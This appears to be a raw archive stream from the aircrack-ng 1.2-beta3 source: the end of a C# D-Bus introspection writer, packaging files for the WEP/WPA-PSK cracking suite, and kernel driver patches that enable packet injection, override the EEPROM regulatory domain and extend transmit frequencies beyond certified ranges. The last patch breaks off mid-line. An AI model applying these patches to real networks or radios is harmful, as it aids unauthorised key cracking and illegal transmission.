WriteArg (pi.ParameterType, Mapper.GetArgumentName (pi), pi.IsOut, true); } //TODO: clean up and get rid of reverse (or argIsOut) parm public void WriteArg (Type argType, string argName, bool argIsOut, bool reverse) { argType = argIsOut ? argType.GetElementType () : argType; if (argType == typeof (void)) return; writer.WriteStartElement ("arg"); if (!String.IsNullOrEmpty (argName)) writer.WriteAttributeString ("name", argName); //we can't rely on the default direction (qt-dbus requires a direction at time of writing), so we use a boolean to reverse the parameter direction and make it explicit if (argIsOut) writer.WriteAttributeString ("direction", !reverse ? "out" : "in"); else writer.WriteAttributeString ("direction", !reverse ? "in" : "out"); Signature sig = Signature.GetSig (argType); //TODO: avoid writing null (DType.Invalid) to the XML stream writer.WriteAttributeString ("type", sig.Value); //annotations aren't valid in an arg element, so this is disabled //if (argType.IsEnum) // WriteAnnotation ("org.ndesk.DBus.Enum", Mapper.GetInterfaceName (argType)); writer.WriteEndElement (); } public void WriteMethod (MethodInfo mi) { writer.WriteStartElement ("method"); writer.WriteAttributeString ("name", mi.Name); foreach (ParameterInfo pi in mi.GetParameters ()) WriteArg (pi); //Mono <= 1.1.13 doesn't support MethodInfo.ReturnParameter, so avoid it //WriteArgReverse (mi.ReturnParameter); WriteArg (mi.ReturnType, Mapper.GetArgumentName (mi.ReturnTypeCustomAttributes, "ret"), false, true); WriteAnnotations (mi); writer.WriteEndElement (); } public void WriteProperty (PropertyInfo pri) { //expose properties as dbus properties writer.WriteStartElement ("property"); writer.WriteAttributeString ("name", pri.Name); writer.WriteAttributeString ("type", Signature.GetSig (pri.PropertyType).Value); string access = (pri.CanRead ? "read" : String.Empty) + (pri.CanWrite ? "write" : String.Empty); writer.WriteAttributeString ("access", access); WriteAnnotations (pri); writer.WriteEndElement (); //expose properties as methods also //it may not be worth doing this in the long run /* if (pri.CanRead) { writer.WriteStartElement ("method"); writer.WriteAttributeString ("name", "Get" + pri.Name); WriteArgReverse (pri.GetGetMethod ().ReturnParameter); writer.WriteEndElement (); } if (pri.CanWrite) { writer.WriteStartElement ("method"); writer.WriteAttributeString ("name", "Set" + pri.Name); foreach (ParameterInfo pi in pri.GetSetMethod ().GetParameters ()) WriteArg (pi); writer.WriteEndElement (); } */ } public void WriteSignal (EventInfo ei) { writer.WriteStartElement ("signal"); writer.WriteAttributeString ("name", ei.Name); foreach (ParameterInfo pi in ei.EventHandlerType.GetMethod ("Invoke").GetParameters ()) WriteArgReverse (pi); WriteAnnotations (ei); //no need to consider the delegate return value as dbus doesn't support it writer.WriteEndElement (); } const BindingFlags relevantBindingFlags = BindingFlags.Public | BindingFlags.Instance | BindingFlags.DeclaredOnly; public void WriteInterface (Type type) { if (type == null) return; //TODO: this is unreliable, fix it if (!Mapper.IsPublic (type)) return; writer.WriteStartElement ("interface"); writer.WriteAttributeString ("name", Mapper.GetInterfaceName (type)); /* foreach (MemberInfo mbi in type.GetMembers (relevantBindingFlags)) { switch (mbi.MemberType) { case MemberTypes.Method: if (!((MethodInfo)mbi).IsSpecialName) WriteMethod ((MethodInfo)mbi); break; case MemberTypes.Event: WriteSignal ((EventInfo)mbi); break; case MemberTypes.Property: WriteProperty ((PropertyInfo)mbi); break; default: Console.Error.WriteLine ("Warning: Unhandled MemberType '{0}' encountered while introspecting {1}", mbi.MemberType, type.FullName); break; } } */ foreach (MethodInfo mi in type.GetMethods (relevantBindingFlags)) if (!mi.IsSpecialName) WriteMethod (mi); foreach (EventInfo ei in type.GetEvents (relevantBindingFlags)) WriteSignal (ei); foreach (PropertyInfo pri in type.GetProperties (relevantBindingFlags)) WriteProperty (pri); //TODO: indexers //TODO: attributes as annotations? writer.WriteEndElement (); //this recursion seems somewhat inelegant WriteInterface (type.BaseType); } public void WriteAnnotations (ICustomAttributeProvider attrProvider) { if (Mapper.IsDeprecated (attrProvider)) WriteAnnotation ("org.freedesktop.DBus.Deprecated", "true"); } public void WriteAnnotation (string name, string value) { writer.WriteStartElement ("annotation"); writer.WriteAttributeString ("name", name); writer.WriteAttributeString ("value", value); writer.WriteEndElement (); } //this is not in the spec, and is not finalized public void WriteEnum (Type type) { writer.WriteStartElement ("enum"); writer.WriteAttributeString ("name", Mapper.GetInterfaceName (type)); writer.WriteAttributeString ("type", Signature.GetSig (type.GetElementType ()).Value); writer.WriteAttributeString ("flags", (type.IsDefined (typeof (FlagsAttribute), false)) ? "true" : "false"); string[] names = Enum.GetNames (type); int i = 0; foreach (Enum val in Enum.GetValues (type)) { writer.WriteStartElement ("element"); writer.WriteAttributeString ("name", names[i++]); writer.WriteAttributeString ("value", val.ToString ("d")); writer.WriteEndElement (); } writer.WriteEndElement (); } } } aircrack-ng-1.2-beta3/packages/0000755000000000000000000000000012316431264015007 5ustar rootrootaircrack-ng-1.2-beta3/packages/PKGBUILD0000644000000000000000000000101612316421212016121 0ustar rootroot# Contributor: ice-man pkgname=aircrack-ng pkgver=1.2-beta3 pkgrel="1" pkgdesc="aircrack is an 802.11 WEP and WPA-PSK keys cracking program that can recover this keys once enough encrypted packets have been captured." source=(http://download.aircrack-ng.org/$pkgname-$pkgver.tar.gz) url="http://www.aircrack-ng.org" license="GPL" build() { cd $startdir/src/$pkgname-$pkgver make make prefix=/usr docdir="/usr/share/doc/$pkgname-$pkgver" destdir="$startdir/pkg/" install } aircrack-ng-1.2-beta3/packages/aircrack-ng.spec0000644000000000000000000001103412316421212020033 0ustar rootroot%define _rel final # these bits are constant across distributions # Name: aircrack-ng Version: 1.2-beta3 Summary: Reliable 802.11 (wireless) sniffer and WEP/WPA-PSK key cracker License: GPL Source: http://dl.aircrack-ng.org/%{name}-%{version}.tar.gz URL: http://www.aircrack-ng.org/ BuildRoot: %{_tmppath}/%{name}-%{version}-build Packager: David Bolt Requires: openssl-devel glibc >= 2 # define the package groups. If they all followed the LSB these would be the same, but they aren't :( # %define suse_group Productivity/Networking/Other %define mandriva_group Productivity/Networking/Other %define fedora_group Productivity/Networking/Other # just in case we're not building on a (open)SUSE, Mandriva or Fedora system. # %define rel %{_rel} # figure out which distribution we're being built on. choices so far are (open)SUSE, Mandriva and Fedora Core. # %define _suse %(if [ -f /etc/SuSE-release ]; then echo 1; else echo 0; fi) %define _mandriva %(if [ -f /etc/mandriva-release ]; then echo 1; else echo 0; fi) %define _fedora %(if [ -f /etc/fedora-release ]; then echo 1; else echo 0; fi) # interesting facts: Mandriva includes /etc/redhat-release, as does Fedora. # This means any builds for redhat are going to need to parse /etc/redhat-release # to make sure they're being built on a redhat system %if %{_suse} %define _mandriva 0 %define _fedora 0 %endif %if %{_mandriva} %define _fedora 0 %endif # now for some distribution-specific modifications. # # these include making a distro-specific release number # # building on a (open)SUSE Linux system so make a release identifier for the (open)SUSE version # %if %_suse %define _suse_version %(grep VERSION /etc/SuSE-release|cut -f3 -d" ") %define _suse_vernum %(echo "%{_suse_version}"|tr -d '.') %define rel %{_rel}.suse%{_suse_vernum} %define _distribution SUSE Linux %{_suse_version} %define group %{suse_group} # distro name change for SUSE >= 10.2 to openSUSE # %if %suse_version >= 1020 %define _distribution openSUSE %{_suse_version} %endif # not defined by SUSE/Novell but useful to have # %define _icondir %{_datadir}/pixmaps/ %endif # building on a Mandriva/Mandrake Linux system so use the standard Mandriva release string # # this is experimental and untested as yet, but should work. # %if %{_mandriva} %define _mandriva_version %(cat /etc/mandriva-release|cut -f4 -d" ") %define _distribution Mandriva %{_mandriva_version} %define rel %{_rel}.mdv %define group %{mandriva_group} %endif # building on a Fedora Core Linux system. not sure if there's a release string, but create one anyway # # this is experimental and untested as yet, but should work. # %if %{_fedora} %define _fedora_version %(cat /etc/fedora-release|cut -f3 -d" ") %define _distribution Fedora Core %{_fedora_version} %define rel %{_rel}.fc%{_fedora_version} %define group %{fedora_group} %endif # while these few are (relatively) distro-specific # Group: %{group} Release: %{rel} %{?_distribution:Distribution:%{_distribution}} %description aircrack-ng is a set of tools for auditing wireless networks. It's an enhanced/reborn version of aircrack. It consists of airodump-ng (an 802.11 packet capture program), aireplay-ng (an 802.11 packet injection program), aircrack (static WEP and WPA-PSK cracking), airdecap-ng (decrypts WEP/WPA capture files), and some tools to handle capture files (merge, convert, etc.). %prep %setup -q %build make %{?_smp_mflags} sqlite=true unstable=true %install rm -rf $RPM_BUILD_ROOT mkdir $RPM_BUILD_ROOT make install DESTDIR=$RPM_BUILD_ROOT prefix=%{_prefix} mandir=%{_mandir}/man1 sqlite=true unstable=true cd $RPM_BUILD_ROOT find . -type d | sed '1,2d;s,^\.,\%attr(-\,root\,root) \%dir ,' > %{_builddir}/file.list.%{name} find . -type f | sed 's,^\.,\%attr(-\,root\,root) ,' | grep -v /man/ >> %{_builddir}/file.list.%{name} find . -type l | sed 's,^\.,\%attr(-\,root\,root) ,' >> %{_builddir}/file.list.%{name} %files -f %{_builddir}/file.list.%{name} %doc ChangeLog INSTALLING README LICENSE AUTHORS VERSION %doc test %doc patches %{_mandir}/man1/* %clean rm -rf $RPM_BUILD_ROOT %changelog * Sun Jan 29 2009 Xury aircrack-ng-1.0-rc3 - small fix and update spec file * Mon Jun 26 2006 David Bolt aircrack-ng-0.6 - Removed patch as no longer needed for SUSE 10.1 (GCC 4.1.2) * Fri Jun 2 2006 David Bolt aircrack-ng-0.5 - Patched source to build properly on SUSE 10.1 (GCC 4.1.2) * Thu Mar 30 2006 David Bolt - First package built for SUSE aircrack-ng-1.2-beta3/packages/slack-desc0000644000000000000000000000116410761053203016740 0ustar rootroot |-handy-ruler------------------------------------------------------| aircrack-ng: Aircrack-ng aircrack-ng: aircrack-ng: aircrack-ng is a set of tools for auditing wireless networks. aircrack-ng: It's an enhanced/reborn version of aircrack. aircrack-ng: It consists of airodump-ng (an 802.11 packet capture program), aircrack-ng: aireplay-ng (an 802.11 packet injection program), aircrack-ng: aircrack-ng (static WEP and WPA-PSK cracking), airdecap-ng aircrack-ng: (decrypts WEP/WPA capture files), and some tools to handle aircrack-ng: capture files (merge, convert, etc.). aircrack-ng: aircrack-ng: aircrack-ng: aircrack-ng-1.2-beta3/patches/0000755000000000000000000000000012316431262014656 5ustar rootrootaircrack-ng-1.2-beta3/patches/rtl8187-mac80211-injection-speed-2.6.28-rc6.patch0000644000000000000000000000213711113531005024454 0ustar rootrootdiff --git a/drivers/net/wireless/rtl818x/rtl8187_dev.c b/drivers/net/wireless/rtl818x/rtl8187_dev.c index 9212cea..08d04a3 100644 --- a/drivers/net/wireless/rtl8187_dev.c +++ b/drivers/net/wireless/rtl8187_dev.c @@ -214,7 +214,11 @@ static int rtl8187_tx(struct ieee80211_hw *dev, struct sk_buff *skb) hdr->flags = cpu_to_le32(flags); hdr->len = 0; hdr->rts_duration = rts_dur; - hdr->retry = cpu_to_le32(info->control.retry_limit << 8); + if (!(info->flags & IEEE80211_TX_CTL_NO_ACK)) + hdr->retry = + cpu_to_le32(info->control.retry_limit << 8); + else + hdr->retry = 0; buf = hdr; ep = 2; @@ -232,7 +235,11 @@ static int rtl8187_tx(struct ieee80211_hw *dev, struct sk_buff *skb) memset(hdr, 0, sizeof(*hdr)); hdr->flags = cpu_to_le32(flags); hdr->rts_duration = rts_dur; - hdr->retry = cpu_to_le32(info->control.retry_limit << 8); + if (!(info->flags & IEEE80211_TX_CTL_NO_ACK)) + hdr->retry = + cpu_to_le32(info->control.retry_limit << 8); + else + hdr->retry = 0; hdr->tx_duration = ieee80211_generic_frame_duration(dev, priv->vif, skb->len, txrate); aircrack-ng-1.2-beta3/patches/acx-20070101.patch0000644000000000000000000000264410761053203017345 0ustar rootrootdiff -Naur acx_orig/common.c acx_rawtx/common.c --- acx_orig/common.c 2007-01-10 22:15:27.000000000 +0100 +++ acx_rawtx/common.c 2007-05-20 12:58:55.000000000 +0200 @@ -3180,6 +3180,14 @@ goto end; } + if(unlikely(skb->len < 24)) { + /* silently drop the packet, since fw won't send it */ + txresult = OK; + /* ...but indicate an error nevertheless */ + adev->stats.tx_errors++; + goto end; + } + tx = acx_l_alloc_tx(adev); if (unlikely(!tx)) { printk_ratelimited("%s: start_xmit: txdesc ring is full, " diff -Naur acx_orig/pci.c acx_rawtx/pci.c --- acx_orig/pci.c 2007-01-10 13:27:16.000000000 +0100 +++ acx_rawtx/pci.c 2007-05-20 12:58:55.000000000 +0200 @@ -1992,7 +1992,12 @@ acx_set_status(adev, ACX_STATUS_1_SCANNING); break; case ACX_MODE_3_AP: case ACX_MODE_MONITOR: - acx_set_status(adev, ACX_STATUS_4_ASSOCIATED); break; + acx_set_status(adev, ACX_STATUS_4_ASSOCIATED); + adev->msdu_lifetime = 0;/* no lifetime at all */ + adev->short_retry = 0; /* no retries for (short) non-RTS packets */ + adev->long_retry = 0; /* no retries for long (RTS) packets */ + + break; } acx_s_start(adev); @@ -3387,12 +3392,14 @@ break; } adev->stats.tx_errors++; +#if 0 if (adev->stats.tx_errors <= 20) printk("%s: tx error 0x%02X, buf %02u! (%s)\n", adev->ndev->name, error, finger, err); else printk("%s: tx error 0x%02X, buf %02u!\n", adev->ndev->name, error, finger); +#endif } aircrack-ng-1.2-beta3/patches/mac80211_2.6.28-rc4-wl_frag+ack_v2.patch0000644000000000000000000000204511107552102023111 0ustar rootrootdiff --git a/net/mac80211/tx.c b/net/mac80211/tx.c index 0855cac..221bed6 100644 --- a/net/mac80211/tx.c +++ b/net/mac80211/tx.c @@ -611,11 +611,19 @@ ieee80211_tx_h_sequence(struct ieee80211_tx_data *tx) /* * Packet injection may want to control the sequence - * number, if we have no matching interface then we - * neither assign one ourselves nor ask the driver to. + * number, so if an injected packet is found, skip + * renumbering it. Also make the packet NO_ACK to avoid + * excessive retries (ACKing and retrying should be + * handled by the injecting application). + * FIXME This may break hostapd and some other injectors. + * This should be done using a radiotap flag. */ - if (unlikely(!info->control.vif)) + if (unlikely(info->flags & IEEE80211_TX_CTL_INJECTED) && + !(tx->sdata->u.mntr_flags & MONITOR_FLAG_COOK_FRAMES)) { + if (!ieee80211_has_morefrags(hdr->frame_control)) + info->flags |= IEEE80211_TX_CTL_NO_ACK; return TX_CONTINUE; + } if (unlikely(ieee80211_is_ctl(hdr->frame_control))) return TX_CONTINUE; aircrack-ng-1.2-beta3/patches/madwifi-old-r1417.patch0000644000000000000000000001015210761053203020643 0ustar rootrootdiff -ur madwifi-old/ath/if_ath.c patched_madwifi-old/ath/if_ath.c --- madwifi-old/ath/if_ath.c 2006-03-22 21:31:58.814779008 +0100 +++ patched_madwifi-old/ath/if_ath.c 2006-03-22 21:35:10.049706880 +0100 @@ -1436,7 +1436,7 @@ rt = sc->sc_currates; KASSERT(rt != NULL, ("no rate table, mode %u", sc->sc_curmode)); flags = HAL_TXDESC_INTREQ | HAL_TXDESC_CLRDMASK; - try0 = ATH_TXMAXTRY; + try0 = (ic->ic_opmode == IEEE80211_M_MONITOR) ? 1 : ATH_TXMAXTRY; dot11Rate = 0; ctsrate = 0; ctsduration = 0; @@ -1499,6 +1499,13 @@ if (index >= 0 && index < rt->rateCount) { txrate = rt->info[index].rateCode; } + } else { + if (ic->ic_opmode == IEEE80211_M_MONITOR) { + int index = sc->sc_rixmap[ic->inject_rate / 500]; + if (index >= 0 && index < rt->rateCount) { + txrate = rt->info[index].rateCode; + } + } } wh = (struct ieee80211_frame *) skb->data; diff -ur madwifi-old/ath/if_ath_pci.c patched_madwifi-old/ath/if_ath_pci.c --- madwifi-old/ath/if_ath_pci.c 2006-03-22 21:31:58.799781288 +0100 +++ patched_madwifi-old/ath/if_ath_pci.c 2006-03-22 21:36:54.983754480 +0100 @@ -100,12 +100,16 @@ { 0xa727, 0x0013, PCI_ANY_ID, PCI_ANY_ID }, /* 3com */ { 0x10b7, 0x0013, PCI_ANY_ID, PCI_ANY_ID }, /* 3com 3CRDAG675 */ { 0x168c, 0x1014, PCI_ANY_ID, PCI_ANY_ID }, /* IBM minipci 5212 */ + { 0x168c, 0x101a, PCI_ANY_ID, PCI_ANY_ID }, /* some Griffin-Lite */ { 0x168c, 0x0015, PCI_ANY_ID, PCI_ANY_ID }, { 0x168c, 0x0016, PCI_ANY_ID, PCI_ANY_ID }, { 0x168c, 0x0017, PCI_ANY_ID, PCI_ANY_ID }, { 0x168c, 0x0018, PCI_ANY_ID, PCI_ANY_ID }, { 0x168c, 0x0019, PCI_ANY_ID, PCI_ANY_ID }, { 0x168c, 0x001a, PCI_ANY_ID, PCI_ANY_ID }, + { 0x168c, 0x001b, PCI_ANY_ID, PCI_ANY_ID }, + { 0x168c, 0x001c, PCI_ANY_ID, PCI_ANY_ID }, /* PCI Express 5424 */ + { 0x168c, 0x001d, PCI_ANY_ID, PCI_ANY_ID }, /* PCI Express ??? */ { 0 } }; diff -ur madwifi-old/net80211/ieee80211_crypto.c patched_madwifi-old/net80211/ieee80211_crypto.c --- madwifi-old/net80211/ieee80211_crypto.c 2006-03-22 21:31:48.848294144 +0100 +++ patched_madwifi-old/net80211/ieee80211_crypto.c 2006-03-22 21:39:22.456335240 +0100 @@ -299,6 +299,11 @@ oflags = key->wk_flags; flags &= IEEE80211_KEY_COMMON; + + if (cipher == IEEE80211_CIPHER_WEP) { + flags |= IEEE80211_KEY_SWCRYPT; + } + /* * If the hardware does not support the cipher then * fallback to a host-based implementation. diff -ur madwifi-old/net80211/ieee80211_var.h patched_madwifi-old/net80211/ieee80211_var.h --- madwifi-old/net80211/ieee80211_var.h 2006-03-22 21:31:48.912284416 +0100 +++ patched_madwifi-old/net80211/ieee80211_var.h 2006-03-22 21:40:24.490904552 +0100 @@ -212,6 +212,8 @@ struct net_device *ic_wdsdev[IEEE80211_WDS_MAXNODES]; /* only wds traffic is allowed */ int ic_wdsonly; + + int inject_rate; /* injection rate in Monitor mode */ }; #define IEEE80211_ADDR_EQ(a1,a2) (memcmp(a1,a2,IEEE80211_ADDR_LEN) == 0) diff -ur madwifi-old/net80211/ieee80211_wireless.c patched_madwifi-old/net80211/ieee80211_wireless.c --- madwifi-old/net80211/ieee80211_wireless.c 2006-03-22 21:31:48.880289280 +0100 +++ patched_madwifi-old/net80211/ieee80211_wireless.c 2006-03-22 21:47:46.026780896 +0100 @@ -476,6 +476,18 @@ struct ifreq ifr; int rate; + if (ic->ic_opmode == IEEE80211_M_MONITOR) { + rate = rrq->value / 1000; + if (rate != 1000 && rate != 2000 && rate != 5500 && + rate != 11000 && rate != 6000 && rate != 9000 && + rate != 12000 && rate != 18000 && rate != 24000 && + rate != 36000 && rate != 48000 && rate != 54000 ) + return -EINVAL; + printk(KERN_DEBUG "setting xmit rate to %d\n", rate); + ic->inject_rate = rate; + return 0; + } + if (!ic->ic_media.ifm_cur) return -EINVAL; memset(&ifr, 0, sizeof(ifr)); @@ -502,6 +514,11 @@ struct ifmediareq imr; int rate; + if (ic->ic_opmode == IEEE80211_M_MONITOR) { + rrq->value = ic->inject_rate * 1000; + return 0; + } + memset(&imr, 0, sizeof(imr)); (*ic->ic_media.ifm_status)(ic->ic_dev, &imr); @@ -942,6 +959,7 @@ #if WIRELESS_EXT >= 15 case IW_MODE_MONITOR: ifr.ifr_media |= IFM_IEEE80211_MONITOR; + ic->inject_rate = 5500; /* default = 5.5M CCK */ break; #endif default: aircrack-ng-1.2-beta3/patches/mac80211_2.6.28-rc4-wl_frag+ack_v3.patch0000644000000000000000000000204711236337777023142 0ustar rootrootdiff --git a/net/mac80211/tx.c b/net/mac80211/tx.c index 0855cac..221bed6 100644 --- a/net/mac80211/tx.c +++ b/net/mac80211/tx.c @@ -611,11 +611,19 @@ ieee80211_tx_h_sequence(struct ieee80211_tx_data *tx) /* * Packet injection may want to control the sequence - * number, if we have no matching interface then we - * neither assign one ourselves nor ask the driver to. + * number, so if an injected packet is found, skip + * renumbering it. Also make the packet NO_ACK to avoid + * excessive retries (ACKing and retrying should be + * handled by the injecting application). + * FIXME This may break hostapd and some other injectors. + * This should be done using a radiotap flag. */ - if (unlikely(!info->control.vif)) + if (unlikely((info->flags & IEEE80211_TX_CTL_INJECTED) && + !(tx->sdata->u.mntr_flags & MONITOR_FLAG_COOK_FRAMES))) { + if (!ieee80211_has_morefrags(hdr->frame_control)) + info->flags |= IEEE80211_TX_CTL_NO_ACK; return TX_CONTINUE; + } if (unlikely(ieee80211_is_ctl(hdr->frame_control))) return TX_CONTINUE; aircrack-ng-1.2-beta3/patches/ath9k_regdomain_override.patch0000644000000000000000000000276011324503527022652 0ustar rootrootPaulFertser> Get _your_ country code from regd.h, add 32768 and supply as a parameter. fercerpav@gmail.com --- linux-2.6.32-gentoo-r1-orig/drivers/net/wireless/ath/ath9k/main.c 2009-12-03 06:51:21.000000000 +0300 +++ linux-2.6.32-gentoo-r1/drivers/net/wireless/ath/ath9k/main.c 2010-01-16 02:04:00.000000000 +0300 @@ -28,6 +28,11 @@ module_param_named(nohwcrypt, modparam_nohwcrypt, int, 0444); MODULE_PARM_DESC(nohwcrypt, "Disable hardware encryption"); +static int modparam_override_eeprom_regdomain = -1; +module_param_named(override_eeprom_regdomain, + modparam_override_eeprom_regdomain, int, S_IRUGO); +MODULE_PARM_DESC(override_eeprom_regdomain, "Override regdomain hardcoded in EEPROM with this value (DANGEROUS)."); + /* We use the hw_value as an index into our private channel structure */ #define CHAN2G(_freq, _idx) { \ @@ -1588,6 +1593,14 @@ if (error != 0) return error; + if (modparam_override_eeprom_regdomain != -1) { + printk(KERN_ERR "ath9k: DANGER! You're overriding EEPROM-defined regulatory domain.\n"); + printk(KERN_ERR "ath9k: Your card was not certified to operate on the domain you choosed.\n"); + printk(KERN_ERR "ath9k: This might result in a violation of your local regulatory rules.\n"); + printk(KERN_ERR "ath9k: Do not ever do that unless you really know what you do!\n"); + sc->common.regulatory.current_rd = modparam_override_eeprom_regdomain; + } + /* get mac address from hardware and set in mac80211 */ SET_IEEE80211_PERM_ADDR(hw, sc->sc_ah->macaddr); aircrack-ng-1.2-beta3/patches/mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch0000644000000000000000000000105711175401024025221 0ustar rootroot tx.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/net/mac80211/tx.c b/net/mac80211/tx.c index b47435d..751934b 100644 --- a/net/mac80211/tx.c +++ b/net/mac80211/tx.c @@ -539,7 +539,8 @@ ieee80211_tx_h_rate_ctrl(struct ieee80211_tx_data *tx) if (tx->sta) tx->sta->last_tx_rate = txrc.reported_rate; - if (unlikely(!info->control.rates[0].count)) + if (unlikely(!info->control.rates[0].count) || + info->flags & IEEE80211_TX_CTL_NO_ACK) info->control.rates[0].count = 1; if (is_multicast_ether_addr(hdr->addr1)) { aircrack-ng-1.2-beta3/patches/ath5k-frequency-chaos-2.6.28.patch0000644000000000000000000001323311143173567022552 0ustar rootrootdiff -Naur linux-2.6.28/drivers/net/wireless/ath5k/base.c linux-2.6.28-chaos/drivers/net/wireless/ath5k/base.c --- linux-2.6.28/drivers/net/wireless/ath5k/base.c 2008-12-24 18:26:37.000000000 -0500 +++ linux-2.6.28-chaos/drivers/net/wireless/ath5k/base.c 2009-02-06 21:38:43.000000000 -0500 @@ -272,7 +272,7 @@ static void ath5k_detach(struct pci_dev *pdev, struct ieee80211_hw *hw); /* Channel/mode setup */ -static inline short ath5k_ieee2mhz(short chan); +static inline short ath5k_ieee2mhz(int chan, unsigned int chfreq); static unsigned int ath5k_copy_channels(struct ath5k_hw *ah, struct ieee80211_channel *channels, unsigned int mode, @@ -848,12 +848,16 @@ * Convert IEEE channel number to MHz frequency. */ static inline short -ath5k_ieee2mhz(short chan) +ath5k_ieee2mhz(int chan, unsigned int chfreq) { - if (chan <= 14 || chan >= 27) - return ieee80211chan2mhz(chan); + if (chfreq == CHANNEL_5GHZ) + return (chan + 1000) * 5; else - return 2212 + chan * 20; +// XXX: This part needs to be fixed + if (chan <= 14 || chan >= 27) + return ieee80211chan2mhz(chan); + else + return 2212 + chan * 20; } static unsigned int @@ -862,22 +866,25 @@ unsigned int mode, unsigned int max) { - unsigned int i, count, size, chfreq, freq, ch; + unsigned int i, count, size, chfreq, freq; + int ch; if (!test_bit(mode, ah->ah_modes)) return 0; switch (mode) { + /* I don't even like channel numbers */ case AR5K_MODE_11A: case AR5K_MODE_11A_TURBO: - /* 1..220, but 2GHz frequencies are filtered by check_channel */ - size = 220 ; + size = 241 ; // going over 6.0GHz may be dangerous so I am limiting it + ch = -40; // might be able to push this to -201 or so, needs more testing chfreq = CHANNEL_5GHZ; break; case AR5K_MODE_11B: case AR5K_MODE_11G: case AR5K_MODE_11G_TURBO: - size = 26; + size = 70; + ch = -43; chfreq = CHANNEL_2GHZ; break; default: @@ -885,9 +892,8 @@ return 0; } - for (i = 0, count = 0; i < size && max > 0; i++) { - ch = i + 1 ; - freq = ath5k_ieee2mhz(ch); + for (i = 0, count = 0; i < size && max > 0; i++,ch++) { + freq = ath5k_ieee2mhz(ch,chfreq); /* Check if channel is supported by the chipset */ if (!ath5k_channel_ok(ah, freq, chfreq)) diff -Naur linux-2.6.28/drivers/net/wireless/ath5k/base.h linux-2.6.28-chaos/drivers/net/wireless/ath5k/base.h --- linux-2.6.28/drivers/net/wireless/ath5k/base.h 2008-12-24 18:26:37.000000000 -0500 +++ linux-2.6.28-chaos/drivers/net/wireless/ath5k/base.h 2009-02-06 21:38:43.000000000 -0500 @@ -93,11 +93,7 @@ }; -#if CHAN_DEBUG -#define ATH_CHAN_MAX (26+26+26+200+200) -#else -#define ATH_CHAN_MAX (14+14+14+252+20) -#endif +#define ATH_CHAN_MAX (70+70+70+240+240) // b+g+gT+a+aT XXX: This is probably excessive /* Software Carrier, keeps track of the driver state * associated with an instance of a device */ diff -Naur linux-2.6.28/drivers/net/wireless/ath5k/caps.c linux-2.6.28-chaos/drivers/net/wireless/ath5k/caps.c --- linux-2.6.28/drivers/net/wireless/ath5k/caps.c 2008-12-24 18:26:37.000000000 -0500 +++ linux-2.6.28-chaos/drivers/net/wireless/ath5k/caps.c 2009-02-06 21:38:43.000000000 -0500 @@ -69,9 +69,9 @@ if (AR5K_EEPROM_HDR_11A(ee_header)) { /* 4920 */ - ah->ah_capabilities.cap_range.range_5ghz_min = 5005; - ah->ah_capabilities.cap_range.range_5ghz_max = 6100; - + ah->ah_capabilities.cap_range.range_5ghz_min = 4800; + ah->ah_capabilities.cap_range.range_5ghz_max = 6000; /* 6100 is what the code said but */ + /* it fried my Ubiquiti SRC */ /* Set supported modes */ __set_bit(AR5K_MODE_11A, ah->ah_capabilities.cap_mode); @@ -87,7 +87,7 @@ if (AR5K_EEPROM_HDR_11B(ee_header) || AR5K_EEPROM_HDR_11G(ee_header)) { /* 2312 */ - ah->ah_capabilities.cap_range.range_2ghz_min = 2412; + ah->ah_capabilities.cap_range.range_2ghz_min = 2192; /* this is the bottom of the registers */ ah->ah_capabilities.cap_range.range_2ghz_max = 2732; if (AR5K_EEPROM_HDR_11B(ee_header)) diff -Naur linux-2.6.28/net/mac80211/tx.c linux-2.6.28-chaos/net/mac80211/tx.c --- linux-2.6.28/net/mac80211/tx.c 2008-12-24 18:26:37.000000000 -0500 +++ linux-2.6.28-chaos/net/mac80211/tx.c 2009-02-06 21:38:53.000000000 -0500 @@ -1378,10 +1378,32 @@ struct net_device *dev) { struct ieee80211_local *local = wdev_priv(dev->ieee80211_ptr); + struct ieee80211_channel *chan = local->hw.conf.channel; struct ieee80211_radiotap_header *prthdr = (struct ieee80211_radiotap_header *)skb->data; u16 len_rthdr; + /* + * Frame injection is not allowed if beaconing is not allowed + * or if we need radar detection. Beaconing is usually not allowed when + * the mode or operation (Adhoc, AP, Mesh) does not support DFS. + * Passive scan is also used in world regulatory domains where + * your country is not known and as such it should be treated as + * NO TX unless the channel is explicitly allowed in which case + * your current regulatory domain would not have the passive scan + * flag. + * + * Since AP mode uses monitor interfaces to inject/TX management + * frames we can make AP mode the exception to this rule once it + * supports radar detection as its implementation can deal with + * radar detection by itself. We can do that later by adding a + * monitor flag interfaces used for AP support. + */ + if ((chan->flags & (IEEE80211_CHAN_NO_IBSS | IEEE80211_CHAN_RADAR | + IEEE80211_CHAN_PASSIVE_SCAN))) + return TX_DROP; + /* This was intended for the kernel patch but it didn't work; goto fail; */ + /* check for not even having the fixed radiotap header part */ if (unlikely(skb->len < sizeof(struct ieee80211_radiotap_header))) goto fail; /* too short to be possibly valid */ aircrack-ng-1.2-beta3/patches/zd1211rw-inject+dbi-fix-3.7.4.patch0000644000000000000000000000367212103567066022447 0ustar rootrootdiff -Naur linux/drivers/net/wireless/zd1211rw/zd_mac.c zdpats/drivers/net/wireless/zd1211rw/zd_mac.c --- linux/drivers/net/wireless/zd1211rw/zd_mac.c 2011-05-19 06:06:34.000000000 +0200 +++ zdpats/drivers/net/wireless/zd1211rw/zd_mac.c 2011-06-25 17:46:33.146013429 +0200 @@ -227,14 +227,19 @@ static int set_rx_filter(struct zd_mac *mac) { unsigned long flags; - u32 filter = STA_RX_FILTER; + struct zd_ioreq32 ioreqs[] = { + {CR_RX_FILTER, STA_RX_FILTER}, + { CR_SNIFFER_ON, 0U }, + }; spin_lock_irqsave(&mac->lock, flags); - if (mac->pass_ctrl) - filter |= RX_FILTER_CTRL; + if (mac->pass_ctrl) { + ioreqs[0].value |= 0xFFFFFFFF; + ioreqs[1].value = 0x1; + } spin_unlock_irqrestore(&mac->lock, flags); - return zd_iowrite32(&mac->chip, CR_RX_FILTER, filter); + return zd_iowrite32a(&mac->chip, ioreqs, ARRAY_SIZE(ioreqs)); } static int set_mac_and_bssid(struct zd_mac *mac) @@ -970,7 +975,8 @@ /* Caller has to ensure that length >= sizeof(struct rx_status). */ status = (struct rx_status *) (buffer + (length - sizeof(struct rx_status))); - if (status->frame_status & ZD_RX_ERROR) { + if ((status->frame_status & ZD_RX_ERROR) || + (status->frame_status & ~0x21)) { if (mac->pass_failed_fcs && (status->frame_status & 